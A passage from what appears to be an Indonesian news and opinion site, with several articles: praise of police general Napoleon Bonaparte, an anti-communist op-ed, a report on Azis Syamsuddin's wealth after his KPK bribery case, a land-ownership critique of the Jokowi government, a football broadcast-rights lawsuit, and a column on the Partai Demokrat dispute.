Islam rahmatan lil alamin. Itu kata Napoleon lho," jelas Nainggolan. Napoleon Bonaparte, seperti kita ketahui, terdakwa kasus suap Red Notice Djoko Tjandra. Ia didakwa menerima uang sebesar Rp 2 M dan Rp 5 M, total Rp 7 M. Syahganda menyesal kenapa dulu tidak sempat berinteraksi dengan Napoleon. Dia menganggap sosok Napoleon unik. Ternyata perjalanan kerirnya lucu. Sebagai perwira yang bertugas di Interpol Napoleon lebih banyak di luar negeri. Relasi dia kebanyakan orang asing. "Dia menyimpan banyak rahasia, tapi saya tidak bisa ceritakan semua di sini. Misalnya, dia adalah penanggung jawab Pilpres 2019 untuk luar negeri. Dia juga yang mengurus soal Veronica Koman dan Habib Rizieq. Dia juga dulu memegang posisi penting sebagai Direktur Bareskrim di Polda, Polda-nya Polda Jogja," Syahganda memuji Napoleon karena kliennya orang-orang pintar semua. Seperti Amin Rais, Budiono dan para profesor. "Napoleon ini memang hampir tidak dikenal publik di dalam negeri. Kami yang aktivis juga nggak kenal. Saya banyak berinteraksi dengan polisi, tapi Napoleon saya nggak kenal. Ternyata dia emas yang terpendam selama ini," tegas Syahganda. Dalam konteks M Kece Syahganda yakin seyakin-yakinya Napoleon tahu bahwa M. Kece ini sebenarnya bagian tertentu yang melakukan politisasi itu. Dia kan mantan Densus 88 punya instink yang kuat. Alhamdulillah saya senang adanya sosok jendral yang seperti Napoleon Bonaparte ini muncul di publik. Mudah-mudahan publik Indonesia mengetahui tentang dia. Saya kenal istrinya, anak-anaknya. Selama 10 bulan saya amati Napoleon tidak pernah sedikitpun makan uang haram di dalam perputaran uang di penjara. Kasus-kasus di dalam penjara itu banyak. Melibatkan pelaku dari orang-orang yang punya kekuasaan. Sebagian menjadi markus, mengurus orang yang ditahan biar bisa istilah 86, tutup perkara dan lain-lain. Napoleon tidak tertarik sama sekali. Banyak yang minta tolong sama saya untuk dihubungkan dengan Napoleon. Ada orang kaya Edisi Cash. Edisi ini hampir Rp 10 triliun tiap hari. Minta tolong sama saya juga. Minta tolong minta diakseskan ke pak Napoleon supaya bisa diurus, Napoleon tidak mau. Napoleon mau terlibat sama sekali dengan urusan yang bisa menciptakan uang buat dia. Termasuk dulu Bupati Nganjuk. Bupati Nganjuk minta tolong Napoleon waktu ditangkap. Minta 86. Napoleon tidak mau. Itu yang bikin Syahganda kagum. Tambah kagum ketika Napoleon bilang dia satu-satunya Jendral yang rumahnya terburuk untuk seorang jenderal. "Lihat rumah saya kalau sudah bebas. Rumah saya di Condet," cerita Syahganda meniru Napoleon. Pandangan Ahmad Yani Sementara itu, Ahmad Yani (kuasa hukum) merespons beberapa pihak membahas Napoleon. Salah satunya dari PBNU, yaitu Ramadi Ahmad. Dia menuduh surat terbuka Napoleon sengaja disebarkan untuk mencari simpati publik. "Saya kira Pak Napoleon tidak dalam konteks untuk mencari simpati publik. Dia bukan politisi, tidak ada kepentingannya untuk dapat dukungan publik. Ada juga pernyataan dari kawan-kawan kita dari PBNU juga memberikan dukungan kan kepada Napoleon Bonaparte. Tapi menurut saya, itu yang selalu saya ingatkan betul kepada pemerintah saat ini. Mengenai suasana keterbelahan, suasana penodaan agama marak terjadi tujuh tahun belakangan ini. Sebelum itu kita tidak pernah mendengar peristiwa-peristiwa semacam itu. Kalau pun ada langsung diambil dan diproses. Ingat Permadi? Itu kan cepat diproses. Kasus nabi palsu langsung diambil, selesai. Terus yang mengaku jibril, Lia Amirudin, juga cepat selesai. Nah ini sekarang ada orang yang berulangkali nantang bahkan bahkan Abu Janda hanya sempat diam sebentar, sekarang ngoceh lagi. Menyatakan Islam agama teroris. Itu jelas penodaan agama, tapi kan tidak diproses. Deni Siregar menyatakan santri-santri itu bibit teroris dan lain sebagainya. Bahkan ada yang sekarang ini yang menyatakan santri yang tidak mau mendengar lagu dituduh bibit-bibit ekstrem. Padahal, tidak mau mendengar lagu-lagu itu kan bagian cara menghafal Al-Quran. Menurut Yani, sekarang penistaan model begitu marak dan tumbuh subur saat ini. Itu yang menurut saya seperti api dalam sekam. Kalau kita tanya orang tua-tua dulu, dia bilang peristiwa semacam itu, pernah dia alami menjelang peristiwa G30S PKI. Istilah-istilah kadrun mulai muncul lagi. Itu kan teror-teror yang pernah dikeluarkan oleh PKI. Terus orang-orang yang anti Arab mengolok-olok Arab. Mereka sesungguhnya Islamfobia, bukan soal Arab. Tapi diselubungkan sedemikian rupa. Itu mendapatkan tempat di negara kita yang berasaskan Pancasila yang berketuhanan yang maha Esa. Ini yang menurut saya, ada unsur pembiaran yang luar biasa. Kalau katup-katup saluran resmi yang dianggap tempat mencari keadilan itu sudah tumpul, sudah tidak mungkin maka rakyat akan mencari jalannya sendiri. Itu yang berbahaya. Napoleon bertindak terhadap M. Kece untuk membongkar saluran yang tersumbat itu. Orang seperti M. Kece memang bisa membahayakan persatuan dan kesatuan serta perpecahan umat beragama. Napoleon Bonaparte pasti merasakan pengalaman traumatis itu karena dia mantan densus. Pasti punya data-data lengkap. Dia membuat surat terbuka tentu dengan pertimbangan dan proyeksi masa depan. Itulah saya katakan, sesungguhnya harusnya Napoleon diberi reward. Bukan kita maki-maki. Diberikan reward penghargaan memberikan kanalisasi untuk menyalurkan hal-hal seperti itu. Kalau tidak, kita tidak bisa membayangkan ledakannya. Perumpamaan balon yang bisa meledak, tapi kalau dilubangin sedikit membuat ada ventilasi. Itu konteksnya mengapa saya bilang, seharusnya kita memberikan penghargaan kepada Napoleon Bonaparte yang mampu menampung kemarahan umat baik di dalan maupun di luar," panjang lebar Yani memaparkan. Syahganda menimpali. Napoleon memang selalu bilang pemimpin itu harus berani menanggung risiko. Dalam soal M Kece demi menciptakan ventilasi Napoleon memikul risikonya sendiri. Napoleon ini orang luar biasa. Saya ulangi. Saya baru ketemu orang seperti dia yang leadership-nya tinggi dan pinter sekali. Bahasa inggrisnya fasih seperti orang inggris. Kelebihan Napoleon yang lain, dia family man, demokrasi dengan anak, anaknya sekolah di Amerika di New York. Jangan lagi bilang dia radikal Islam, dia bukan radikal Islam.Kita tidak boleh berstigma bahwa dia itu jadi terpengaruh Habib Rizieq atau tidak. Dia manusia inspiring. Kenapa kamu namanya Napoleon? Saya pernah tanya begitu. Jawabnya: Karena bapak saya pengagum jendral Napoleon Bonaparte, jendral yang paling berpengaruh sepanjang sejarah dunia yang menjadi emperor Perancis. Bapaknya menitip pesan kepadanya supaya berlaku seperti Napoleon Bonaparte Itulah yang membuatnya tersandera oleh nama besar Napoleon. Dia juga bercita-cita seumur hidup pengin seperti Napoleon Bonaparte. (*) *) Wartawan senior

Komunis Itu Musuh Negara dan Agama

By M Rizal Fadillah SEJAK pemberontakan 18 September 1948 Komunis melalui PKI mengarahkan perjuangannya pada penggulingan dan penggantian ideologi negara. Aparat negara seperti TNI adalah musuh abadi. Jikapun menjadi bagian dari aparat, maka itu adalah penyusupan dalam rangka memperkuat basis perjuangan politik. Musso dan Amir Syarifuddin memimpin pergerakan dengan dukungan Uni Sovyet. Peristiwa Madiun menoreh catatan hitam dari kekejian FDR yang terdiri dari PKI, PSI, PBI, Pemuda Sosialis, BTI dan SOBSI. Monumen Kresek adalah bukti permusuhan komunis dengan TNI dan umat Islam. Selama 13 hari menguasai Madiun 1900 an santri dan ulama telah dibantai. Sebelum pemberontakan atau percobaan kudeta 30 September 1965, PKI sukses mempengaruhi Presiden Soekarno untuk melemahkan kekuatan politik agama dengan membubarkan Partai Masyumi pada Agustus 1960. PKI menjadi kekuatan berpengaruh di Istana. Pasukan Pengawal Presiden Cakrabirawa merupakan tangan kuat kepentingan PKI. Penculikan dan pembunuhan Perwira TNI Tujuh Pahlawan Revolusi dilakukan oleh Pasukan yang dekat dengan Presiden ini. Komunis jelas musuh negara, musuh Pancasila. Karenanya Ketetapan MPRS No XXV/MPRS/1966 harus tetap dipertahankan. Tidak boleh goyah oleh perjuangan aktivis komunis yang ingin mencabut dengan dalih HAM, kebhinekaan, rekonsiliasi atau lainnya. Komunis dulu dan sekarang sama bahayanya, bahkan saat ini bisa lebih berbahaya. Covid 21 yang merusak dan mematikan. Komunis adalah musuh agama karena komunis itu bebas moral. Faham sama rata sama rasa, konflik antar kelas menuju masyarakat tanpa kelas (unless society), serta agama sebagai candu sebenarnya justru bertentangan dengan prinsip agama. Apalagi sampai pada ajaran menghalalkan segala cara dan atheisme. Komunis memang bermisi membasmi agama. Mengingat komunis adalah musuh negara dan agama, maka kita tidak boleh lengah atas berbagai manuvernya. Sebagai organisasi tanpa bentuk dipastikan lebih sulit untuk mendeteksinya. Meskipun demikian tekad itu tetap harus terus ditanamkan. Jangan sekali-kali memberi angin pada komunisme karena angin itu akan cepat berubah menjadi badai. Sayangnya badai itu tak pernah berlalu. Datang lagi datang lagi. *) Pemerhati Politik dan Kebangsaan

Azis Syamsuddin Punya Kekayaan Rp 100 Miliar

WAKIL Ketua DPR RI Azis Syamsuddin (AZ) yang baru diumumkan sebagai tersangka oleh Komisi Pemberantasan Korupsi (KPK) atas kasus dugaan suap penanganan perkara di Kabupaten Lampung Tengah memiliki total kekayaan Rp100.321.069.365. Berdasarkan pengumuman Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) dari laman https://elhkpn.kpk.go.id diakses Sabtu, Azis terakhir melaporkan kekayaannya pada 22 April 2021 untuk pelaporan tahun pelaporan 2020 dengan jabatan sebagai Wakil Ketua DPR RI. Adapun rinciannya, Azis memiliki tujuh tanah dan bangunan senilai Rp89.492.201.000 yang tersebar di Kota Jakarta Selatan dan Kota Bandarlampung. Selanjutnya, ia juga tercatat memiliki enam kendaraan bermotor senilai Rp3.502.000.000 terdiri dari motor Harley Davidson, motor Honda Beat, mobil Toyota Kijang Innova, mobil Toyota Alphard, dan dua mobil Toyota Land Cruiser. Azis juga tercatat memiliki harta bergerak lainnya senilai Rp274.750.000 dan kas dan setara kas senilai Rp7.052.118.365. KPK pada Sabtu dini hari telah mengumumkan Azis sebagai tersangka kasus dugaan suap terkait penanganan perkara korupsi yang ditangani oleh KPK di Kabupaten Lampung Tengah, Lampung. Dalam konstruksi perkara, KPK menduga Azis memberikan suap kepada penyidik KPK Stepanus Robin Pattuju (SRP) senilai Rp3,1 miliar untuk meminta bantuan mengurus kasus di Lampung Tengah diduga melibatkan Azis dan Aliza Gunado (AG) yang sedang diselidiki KPK. Aliza Gunado merupakan kader Partai Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG). Atas perbuatannya, Azis disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Pasal itu mengatur mengenai orang yang memberi sesuatu kepada pegawai negeri atau penyelenggara negara dengan maksud supaya pegawai negeri atau penyelenggara negara tersebut berbuat atau tidak berbuat sesuatu dalam jabatannya yang bertentangan dengan kewajibannya dengan ancaman hukuman minimal 1 tahun penjara dan maksimal 5 tahun penjara dan denda paling sedikit Rp50 juta dan paling banyak Rp250 juta. Selain itu, KPK juga telah menahan Azis untuk 20 hari pertama terhitung sejak 24 September sampai dengan 13 Oktober 2021 di Rutan Polres Jakarta Selatan. (sws)

Rakyat Cuma Punya Tanah Kuburan

Oleh: Yusuf Blegur Ditengarai sekitar 74% lahan di Indonesia dikuasai oleh segelintir orang. Lewat korporasi besar yang mengelola sektor kehutanan, pertambangan, perkebunan hingga kawasan perumahan dan pengembangan bisnis. Monopoli penguasaan dan kepemilikan lahan oleh tidak lebih dari 0,2% jumlah penduduk Indonesia. Bukan hanya menyisakan sedikit tanah bagi rakyat. Namun lebih dari itu, bisnis para taipan telah cenderung melakukan perampasan hak rakyat atas tanah. Dengan modal besar yang bisa melakukan intervensi konstitusi dan menguasai birokrasi. Konglomerasi semakin agresif melakukan penyerobotan tanah petani, penggusuran lahan dan rumah-rumah serta tanah sumber kehidupan lainnya milik rakyat. Rakyat Indonesia harus merasakan kenyataan pahit bahwa negara telah diatur perusahaan bukan oleh pemerintah. Pemerintah sendiri lebih menempatkan fungsinya sebagai pelayan administrasi dan teknis dari pelbagai kepentingan korporasi besar. Birokrasi yang harusnya menjadi representasi negara dan melindungi rakyat, justru menjadi alat efektif memuluskan dan melindungi ekspansi dunia usaha terutama oleh sektor swasta dan asing. Alih-alih mengatur dan mengelola regulasi yang berpihak kepada kepentingan rakyat, pemerintah malah mendukung konglomerasi yang eksploitatif, terhadap kepemilikan dan pengelolaan sumber daya alam serta menindas kehidupan rakyat. Sungguh luar biasa mengerikan, bagaimana sekelompok kecil bisa menguasai lahan yang begitu luas di negeri ini. Sentralisasi dan distribusi kepemilikan lahan yang sangat besar, oleh berjuasi korporasi kapitalis yang jumlahnya bisa dihitung jari. Bukan hanya merampas hak rakyat atas tanah, tapi semakin menyuburkan ketidakadilan, melahirkan kemiskinan masal dan struktural serta membunuh rakyat perlahan-lahan. Mengingat semakin banyaknya muncul kasus-kasus sengketa kepemilikan tanah, utamanya antara pengusaha skala besar berhadapan dengan pribadi dan masyarakat. Baik yang terkait dengan kepemilikan tanah garapan, hak ahli waris dari tanah verbounding hagendum, sampai kepada kepemilikan surat tanah ganda dll. Pada akhirnya hanya menghasilkan 'unhappy ending' bagi rakyat kecil. Terutama rakyat kecil dan miskin yang tidak memiliki akses ekonomi, akses hukum dan akses politik yang memadai. Baru saja perhatian publik tersita oleh penyerobotan tanah milik Ari Taharu seorang kakek buta huruf berusia 67 tahun di Sulawesi Utara. Meski dibela seorang Bigjend Junior Tumilaar, Ari Taharu harus rela tanahnya diambil paksa oleh PT. Citra Internasional. Juga kasus Rocky Gerung berhadapan dengan PT. Sentul City Tbk, merupakan contoh bahwa betapa penting dan mendesaknya kehadiran negara dalam soal-soal tanah yang sering merugikan dan mengorbankan rakyat. Bahkan sosok Rocky Gerung yang katagori orang terdidik dan berada dekat di jantung Ibukota negara, tetap harus terhempas oleh bengisnya korporasi besar yang haus tanah. Tentu saja kita dapat membayangkan, bagaimana penderitaan rakyat awam dan buta huruf yang tinggal di pelosok-pelosok Indonesia, karena dirampas hak tanahnya oleh kerakusan konglomerat. Untuk dapat memahami dan memetakan persoalan secara substansi pada contoh kasus di atas dan mungkin dari sekian banyaknya persoalan tanah di Indonesia. Ada baiknya kita mengangkat dan menggali apa yang pernah direlease beberapa media daring seperti Detik, Kompas, CNN Indonesia, kumparan, Tirto dll. Media-media online tersebut setidaknya mampu menampilkan sisi-sisi tersembunyi dan tak terlihat dari monopoli, dominasi dan hegemoni penguasaan tanah oleh korporasi borjuasi di Indonesia. Berikut deskripsi jurnalistik yang menampilkan ulasan para tokoh dan lembaga terkait yang konsern pada permasalahan pertanahan. Sejengkal Tanah Rakyat Dari pelbagai informasi yang berkembang, meski belum bisa dipastikan sumber dan akurasi datanya. Namun dari sebaran informasi dan bahan yang mengacu pada kementerian, banyaknya presentasi dan diskusi-diskusi dengan institusi pemerintahan. Beberapa lembaga kompeten dan representatif terkait data agraria. Telah ditelusuri ada kurang lebih 25 taipan yang memiliki kekayaan setara hampir 50% APBN Indonesia sejak tahun 2014. "Polling Capital" itu diperoleh dari korporasi besar termasuk Malaysia dan Singapura yang menguasai 57,4% lahan. Jika termasuk lahan inti dan plasma, maka bisa mencapai 95% penguasaan lahan oleh mereka. Tinjauan ini pernah disampaikan oleh ICW melalui Mouba Wasef. Begitu juga dengan beberapa figur dan kelembagaan terkait yang hampir sama membeberkan data distribusi kepemilikan lahan di Indonesia. Sebut saja Komite Nasional Pembaruan Agraria (KNPA). Saat merayakan Hari Tani Indonesia pada tahun 2017, KNPA mengungkap 71% seluruh wilayah daratan Indonesia dikuasai korporasi kehutanan. 16% oleh korporasi perkebunan. Konglomerat menguasai 7%. Sementara rakyat hanya memiliki sisanya. Sama halnya dengan organisasi non pemerintah Konsorsium Pembaruan Agraria (KPA). Turut mengekspos bahwa 46% lahan diluar kawasan hutan dikuasai perusahaan perkebunan. Luasnya sekitar 33,5 jt. hektare dengan status Hak Guna Usaha (HGU). Sementara kawasan hutan sebanyak 35 jt. hektare dengan status Hak Pengusahaan Hutan (HPH) dikuasai oleh Hutan Tanaman Industri. Sementara perusahaan konservasi di Jawa dimonopoli oleh Perhutani. Keberadaan petani Indonesia yang mayoritas menjadi petani gurem. Hanya memiliki lahan tidak lebih dari 0,5 haktare. Selebihnya hanya petani yang tak memiliki tanah (tunakisma). Suatu hal yang sulit diterima akal sehat dimana nasib petani begitu memprihatinkan keberadaannya di dalam negeri agraris. Sebuah lembaga Oxfram Briefing yang bekerja sama dengan Infid pernah membuat tulisan bertajuk "Towards More Equal Indonesia" pada tahun 2017. Mengangkat realitas betapa petani hanya memiliki kurang dari seperempat hektare lahan. Keadaan bekerja sebagai petani dengan lahan seperti itu, sudah bisa dipastikan hasilnya tak mencukupi untuk mempertahankan hidup keluarganya. Beberapa tokoh politisi dan pejabat ikut serta melontarkan nada yang sama terkait cekaknya tanah yang dimiliki rakyat dan betapa berlimpah ruahnya hamparan penguasaan lahan yang dimiliki borjuasi korporasi. Tak kurang mulai dari Amien Rais mantan Ketua MPR RI, Hafid Abbas seorang mantan Komnas HAM, dan Ahmad Alamsyah Saragih yang pernah mewakili Ombudsman RI. memberikan perhatiannya akan ketimpangan status kepemilikan lahan antara rakyat dengan korporasi. Bahkan seorang Prabowo yang kini menjadi pembantu presiden yang menjadi lawannya di Pilpres 2019. Pernah memblow up 80% lahan dimiliki konglomerat Indonesia, dan hanya 1% yang dimiliki rakyat. Sebelum wacana itu tenggelam usai lontarannya soal Indonesia bubar pada tahun 2030. Semua paparan dan analisa komparatif kepemilikan dan penguasaan lahan antara yang dikuasai negara, rakyat dan kompilasi korporasi besar itu. Seakan tak mampu menghentak kesadaran dan kebangkitan negara dalam mereformasi agraria khususnya tanah. Malah sebaliknya negara melalui kebijakan pemerintah seolah tak peduli dan terus memberikan kemudahan dan fasilitas bagi pengusaha dengan kapital represif untuk menguasai tanah termasuk kekayaan alam yang tersimpan didalamnya. Akibatnya rakyat sengsara, hidup miskin dan akhirnya mati karena kehilangan tanahnya. Pemimpin Kacung Cukong Seperti Jokowi, presiden yang hobi membaca komik. Konstitusi negara cenderung menjadi lembaran naskah fiktif. Menyuguhkan narasi yang memberi janji-janji dan impian kemakmuran. Namun kenyataanya, kumpulan-kumpulan nilai dan aturan sosial itu. Jauh dari praktek penyelenggaraan kehidupan rakyat yang adil dan sejahtera, baik secara materil maupun spiritual. Kasus kedaulatan tanah pada rakyat dan negara, harusnya menjadi tolok ukur yang prinsip dan mendasar bagi paradigma dan perspektif pembangunan dalam dimensi apapun. Selain sebagai salah satu syarat berdirinya suatu negara. Tanah atau wilayah pada akhirnya ditempatkan sebagai sumber kehidupan bagi rakyat dalam kehidupan bernegara dan berbangsa. Jika saja Jokowi terus membiarkan penguasaan lahan bebas dan mutlak dikuasai segelintir orang. Dengan kekuatan borjuasi korporasi atas nama investasi tapi mengorbankan hajat hidup rakyat, termasuk menghilangkan hak konstitusi rakyat atas tanah. Maka sesungguhnya Jokowi adalah seorang yang tidak lagi dapat membedakan peran dan fungsinya sebagai presiden yang wajib melayani dan melindungi rakyatnya. Ia karena ketidakmampuan, atau mungkin saja tidak berpihak kepada kepentingan rakyat. Apalagi bagi pemimpin ataupun pejabat pemangku kepentingan publik. Tanah harus dilihat sebagai sebuah nilai dan sumber kehidupan bagi sebagian besar rakyatnya. Bagi kesejahteraan hidup petani khususnya, bagi kehidupan masyarakat desa pada umunya serta seluruh warga negara yang membutuhkan negara dalam memenuhi kebutuhan sandang, pangan dan papan. Dimana semua itu tidak berarti apapun dan bernilai penting tanpa ditunjang kepemilikan tanah bagi rakyat. Jokowi jika mengabaikan dan menganggap remeh ketimpangan persoalan lahan dan pelbagai sengketa tanah yang dialami rakyat. Presiden yang sering dianggap sebagai bagian dari oligarki dan boneka korporasi borjuis itu. Perlahan tapi pasti akan membahayakan kehidupan rakyat, negara dan bangsa. Penggusuran rumah dan tanah rakyat, menjadi satu indikator kegagalan pemerintahan yang memiliki efek domino kegagalan pemerintah menanggulangi kemiskinan dan pada akhirnya menjadi kegagalan rezim kekuasaan meredam kekecewaan dan kemarahan rakyat. Jauh dari mewujud revolusi agraria. Bahkan sekedar mewujudkan satu alinea yang luhur terhadap "bumi dan air dan kekayaan alam yang terkandung didalamnya, dikuasai negara dan dipergunakan untuk sebesar-besar kemakmuran rakyat". Rezim pemerintah yang dikomandoi Jokowi telah gagal melaksanakan amanat konstitusi. Presiden yang sering mengumbar janji bohong itu, pada akhirnya telah berkhianat pada UUD 1945. Juga berkhianat pada para pendiri bangsa, para pahlawan dan seluruh rakyat Indonesia yang demi kemerdekaan RI rela berkorban kehilangan nyawa menumpahkan darahnya di tanah negeri ini. Program Sertifikasi Tanah Sistematika Langsung (PTSL) yang menjadi program unggulan pemerintah dengan pemberian sertifikat yang tidak gratis itu. Pada esensinya menjadi strategis yang jitu untuk secara umum melegalisasi hak dan kepemilikan tanah para konglomerat dengan biaya murah. Negara telah bersiasat melepaskan hak tanah rakyat kepada gurita korporasi modal besar. Semoga negara bukan hanya sekedar hadir, tapi juga dapat mewujudkan tanah untuk rakyat. Agar negara tak kehilangan rakyatnya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Liga Indonesia ‘Baru Jalan Sudah Digoyang’

Oleh Rahmi Aries Nova SETELAH hampir satu setengah tahun berhenti total. Liga Indonesia akhirnya mulai bergulir lagi, diawali dengan kick off Liga 1 pada 27 Agustus lalu, dan diikuti Liga 2 pada 26 September. Lega? Ternyata belum. Karena awal September lalu gugatan dari PT Mediate Indonesia (MNC Group) terkait hak siar justru didaftarkan ke Pengadilan Jakarta Selatan. Dalam gugatan yang diajukan pada 8 September 2021 dengan nomor perkara 747/Pdt.G/2021/PN JKT.SEL, PT Liga Indonesia Baru (LIB) selaku operator liga, bersama Persatuan Sepakbola Seluruh Indonesia (PSSI), Ketua Umum PSSI Mochamad Iriawan alias Iwan Bule, dan PT Mediatama Televisi (NEX Parabola) dinilai melakukan perbuatan wanprestasi/ingkar janji karena melanggar perjanjian pemberian hak penayangan yang sudah disepakati pada 10 Februari 2020. PT Mediate Indonesia menyatakan bahwa saat itu mereka mendapatkan hak eksklusif untuk mendistribusikan atau menayangkan pertandingan Liga 1, Liga 2, dan Liga 1 U-20 di Indonesia melalui layanan/platform DTH (Direct to Home)/Satelite Pay TV alias TV berlangganan. PT Mediate Indonesia menuntut LIB, PSSI dan Iwan Bule untuk menunda atau menghentikan sementara segala bentuk pendistribusian, penayangan, dan penyiaran pertandingan Liga1, Liga 2 dan Liga 1 U-20 di Indonesia melalui layanan/platform DTH/Satelite Pay TV kepada PT Mediatama Televisi (NEX Parabola). Dan meminta tergugat untuk melanjutkan perjanjian yang telah disepakati yaitu memberikan hak siar eksklusif via DTH pada MNC Group. PT Mediate Indonesia juga menuntut PT LIB agar membayar ganti rugi materiil sebesar Rp 269,94 miliar dan imateriil sebesar Rp 1 triliun ditambah bunga 6% (enam persen) per tahun sejak tanggal surat gugatan sampai perkara berkekuatan hukum tetap. Dan jika tidak dilaksanakan PSSI, Iwan Bule, dan PT Mediatama Televisi diminta secara tanggung renteng membayar uang paksa atau dwangsom secara tunai kepada penggugat sebesar Rp 1 miliar perhari secara terus menerus jika tidak melaksanakan baik sebagian maupun seluruh isi tuntutan. Pada 17 Februari 2020 MNC Group memang mengumumkan bahwa mereka menjadi salah satu partner broadcast Liga 1, Liga 2, dan Liga 1 U-20. MNC Group akan menyiarkan secara DTH melalui TV berlangganan K-Visioan, broadband Internet, serta IPTV (Interactive Protocols TV) melalui MNC Play. Tapi sepertinya kala itu pengurus PSSI dan LIB yang terbilang baru belum mempelajari secara menyeluruh perjanjian kontrak dengan pemegang siar tiga musim sebelumnya Elang Mahkota Teknologi (EMTEK) Group. Dan hasilnya saat ini EMTEK Grouplah yang memiliki hak siar di seluruh platform lewat Indosiar, Vidio, O Chanel, dan NEX Parabola (yang ikut digugat). Direktur Utama PT LIB Akhmad Hadian Lukita enggan mengomentari tuntutan yang fantastis ini dan mengaku saat ini dalam proses negosiasi. “Sekarang lagi menuju proses mediasi, kita ikuti saja prosesnya,” ujarnya seperti dikutip skor.id Proses yang akan memakan waktu lama, menghabiskan energi serta biaya yang besar, dan pastinya sangat merugikan sepakbola Indonesia yang baru siuman dan tengah mencoba merangkak lagi. Penulis wartawan senior FNN

Mengobok Partai Demokrat, Pragmatisme Yusril, dan Aroma Lain yang Menyengat

Oleh Ady Amar *) MOELDOKO, Kepala Kantor Staf Presiden (KSP) tampaknya belum lelah dan menyerah. Maka, ia terus mencari celah untuk merebut Partai Demokrat, setelah negara lewat Menkumham menyatakan, bahwa Partai Demokrat yang sah adalah yang diketuai Agus Harimurti Yudhoyono (AHY). Maka, Yusril Ihza Mahendra dipakai jasanya sebagai pengacara, untuk uji materi mencari celah hukum yang sekiranya bisa mendongkel AHY. Dan uji materi yang akan dilakukan Yusril adalah mempermasalahkan AD/ART Partai Demokrat saat partai dipimpin AHY. Moeldoko memakai jasa Yusril tentu punya perhitungannya sendiri. Yusril dikenal sebagai pakar hukum tata negara, sebelum ia sebagai pengacara. Sehingga diharapkan Yusril mampu mengulik apa yang bisa dikuliknya, menarik masalah Partai Demokrat bukan lagi hanya masalah internal partai semata. Yusril mencari celah mempermasalahkan Partai Demokrat, partai kondusif yang hasil Kongres terakhirnya, Kongres ke-5 Jakarta (2020), diakui Kemenkumham, ingin diujinya di Mahkamah Agung (MA). Yusril menyebut MA-lah tempat yang tepat untuk uji materi AD/ART Partai Demokrat. Baru kali ini AD/ART sebuah partai yang dihasilkan oleh lembaga tertingginya--untuk Partai Demokrat adalah Kongres yang dilaksanakan setiap lima tahun--coba diobok-obok dipersoalkan pihak eksternal partai yang ingin menguji keabsahan AD/ART-nya segala. Yusril menerima tawaran Moeldoko untuk mengujinya. Memang tidak persis tahu, tawaran mempersoalkan AD/ART Partai Demokrat, itu muncul dari pihak Yusril, atau justru Moeldoko yang meminang Yusril, meminta advis sekiranya Partai Demokrat bisa direbutnya. Lalu Yusril memeras otak mencari celah mengulik apa yang bisa dikuliknya. Muncul ide uji materi AD/ART Partai Demokrat hasil Kongres ke-5 nya. Partai Demokrat belum menyatakan sikap resmi atas uji materi manuver Moeldoko dan Yusril itu. Hanya beberapa pengurus partainya yang komen di twitter, komen olok-olok seadanya dan lebih menyoroti sikap Yusril yang disebutnya "tua, kelelahan dan pragmatisme". Setidaknya itu ungkapan khas Andi Arief, Ketua Badan Pemenangan Pemilu (Bapillu) Partai Demokrat. Pragmatisme Yusril Semua pastilah menyebut, bahwa itulah pragmatisme seorang Yusril Ihza Mahendra. Pilihannya itu tidak ada salahnya, seperti juga tidak ada salahnya jika orang melihat Yusril kok sampai segitunya mau ambil pekerjaan membela begal politik. Sebutan begal politik identik dengan Moeldoko. Istilah yang dicipta Andi Mallarangeng, Sekretaris Dewan Pembina Partai Demokrat. Itu karena Moeldoko dianggap jelas merampas partai orang lain dengan cara tidak dibenarkan. Karenanya, negara lewat Kemenkumham menolak pengabsahan hasil KLB-nya. Pilihan Yusril sebagai pengacara kubu Moeldoko dalam kemelut internal Partai Demokrat, seolah ingin menegaskan bahwa partai yang dipimpin AHY itu tidak legal, meski partai itu dihasilkan oleh kongresnya, dan hasil kongres itu pun diakui Kemenkumham. Langkah Yusril itu seolah tidak saja berhadapan dengan Partai Demokrat, tapi juga seolah mencoba "menguji" keputusan Kemenkumham atas keabsahan Partai Demokrat, dimana AHY sebagai Ketua Umumnya. Partai Demokrat kasat mata tidak memiliki persoalan internal partainya. Tapi menjadi seolah punya persoalan, dan itu dibangun oleh pihak eksternal yang dimulai dari KLB Deli Serdang, yang mengangkat orang di luar partai, Moeldoko, sebagai Ketua Umum. Lalu diuji di Kemenkumham, dan hasil KLB-nya tidak diakui. Melangkah lebih lagi ingin uji materi di MA, lewat tangan dingin Yusril. Pragmatisme Yusril tentu punya hitungan-hitungannya sendiri, tidak sekadar nilai nominal yang dicarinya. Meski ia pastinya dihargai dengan nominal tidak kecil untuk pertaruhan nama besarnya membela Moeldoko, yang dikesankan dengan begal politik itu. Pastilah ada hal lain yang ingin dikejarnya, dan itu lebih pada masalah pribadi masa lalu yang mengganjal dan yang ingin dibebaskannya. Itu setidaknya yang ada di pikiran ini, setelah mendengar Yusril mau ambil langkah hukum uji materi mempersoalkan AD/ART Partai Demokrat. Itu artinya Yusril bekerja untuk kubu Moeldoko berperang dengan SBY... eh maksudnya AHY. Kok bisa keseleo pada Pak SBY, Susilo Bambang Yudhoyono, Presiden ke-6, yang membesarkan Partai Demokrat. Maka, partai ini identik dengan SBY, yang lalu diteruskan oleh AHY. Masa Lalu yang Belum Terkubur Analisa bisa ditarik tidak sekadar pragmatisme seorang Yusril, dan itu cuma nominal atau nilai materi yang dicari. Tapi lebih dari itu. Semacam "dendam" politik masa lalu, yang belum bisa dikubur seorang Yusril. Dan itu yang terus dibawanya, menghantui tak mau pergi. Setidaknya persoalan masa lalu itu boleh ditarik sebagai analisa melihat keterlibatan Yusril membela sesuatu yang sebenarnya absurd untuk dibelanya. Dan yang tetap akan dibelanya. Ini sebuah pertaruhan seorang Yusril, sekali lagi, tidak pragmatisme sempit sekadar materi yang dicari tapi juga ingin "membebaskan" persoalan masa lalu yang dianggapnya belum selesai. Begitu ada kesempatan "membalas", kenapa itu tidak dilakukan. Bisa jadi itu yang ada di pikiran Yusril. Dan, itu yang coba diikhtiarkannya. Masa lalu itu lebih pada dicopotnya Yusril Ihza Mahendra sebagai Menteri Sekretaris Negara (Mensekneg), dan itu hanya lewat telepon Sudi Silalahi, Sekretaris Kabinet. Tidak persis tahu 